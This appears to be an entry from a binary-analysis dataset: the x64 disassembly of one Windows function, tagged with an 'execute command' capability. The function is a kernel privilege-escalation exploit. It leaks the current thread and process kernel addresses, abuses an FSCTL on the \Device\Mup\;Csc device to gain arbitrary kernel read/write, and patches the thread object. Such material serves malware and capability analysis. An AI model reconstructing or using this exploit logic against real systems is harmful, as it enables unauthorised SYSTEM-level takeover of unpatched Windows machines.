Function at 0x140002060
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 1
mov ecx, 0x40
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
mov rdx, rbx
call section..text
mov rdi, rax
test rax, rax
je 0x14000232a
mov rdx, rax
lea rcx, str.___current_kthread:_0x_llx_n
call fcn.140002000
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 1
mov ecx, 0x1000
mov r8d, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rax
mov ecx, ebx
call section..text
test rax, rax
je 0x14000232a
mov rdx, rax
lea rcx, str.___current_eprocess:_0x_llx_n
call fcn.140002000
lea rcx, [0x140004360]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000232a
lea rdx, str.NtReadVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400066b0], rax
test rax, rax
je 0x14000232a
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400066a8], rax
test rax, rax
je 0x14000232a
lea rdx, str.NtFsControlFile
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400066c0], rax
test rax, rax
je 0x14000232a
xor ebx, ebx
lea rdx, str.DeviceMup_Csc..
xorps xmm0, xmm0
mov qword [rsp + 0x90], rbx
lea rcx, [rsp + 0x98]
mov dword [rsp + 0x64], ebx
movups xmmword [rsp + 0x98], xmm0
mov dword [rsp + 0x7c], ebx
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x50], ebx
lea rax, [rsp + 0x98]
mov qword [rsp + 0x48], rbx
lea r9, [rsp + 0xa8]
mov dword [rsp + 0x40], 0x80
lea r8, [rsp + 0x60]
mov dword [rsp + 0x38], 3
lea rcx, [rsp + 0x90]
xorps xmm0, xmm0
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 0x80
mov edx, 0x100000
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], rbx
mov dword [rsp + 0x78], ebx
mov qword [rsp + 0x70], rax
movdqu xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0xa8], xmm0
call qword [sym.imp.ntdll.dll_NtCreateFile]
test eax, eax
js 0x14000232a
mov rcx, qword [rsp + 0x90]
lea rax, [rdi + 0x21a]
mov dword [rsp + 0x48], ebx
xor r9d, r9d
mov qword [rsp + 0x40], rbx
xor r8d, r8d
mov dword [rsp + 0x38], ebx
xor edx, edx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xa8]
mov dword [rsp + 0x28], 0x1401a3
mov qword [rsp + 0x20], rax
call qword [0x1400066c0]
test eax, eax
js 0x14000232a
lea rcx, str.____obtained_arbitrary_kernel_read_writes_n
call fcn.140002000
call fcn.1400013a0
test al, al
je 0x1400022cc
call fcn.140002350
mov rdx, rax
lea rcx, str.____allocated_kernel_memory:_0x_llx_n
call fcn.140002000
mov rcx, qword [0x1400066b8]
test rcx, rcx
je 0x1400022c6
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [0x1400066b8], rbx
mov dword [0x140006688], ebx
mov byte [0x14000668c], bl
mov qword [rsp + 0x98], 1
mov qword [rsp + 0x90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
lea r8, [rsp + 0x98]
mov rcx, rax
lea rdx, [rdi + 0x232]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
call qword [0x1400066a8]
lea rcx, str.___press_any_key_to_exit..._n
call fcn.140002000
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.1400024c0
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rdi
ret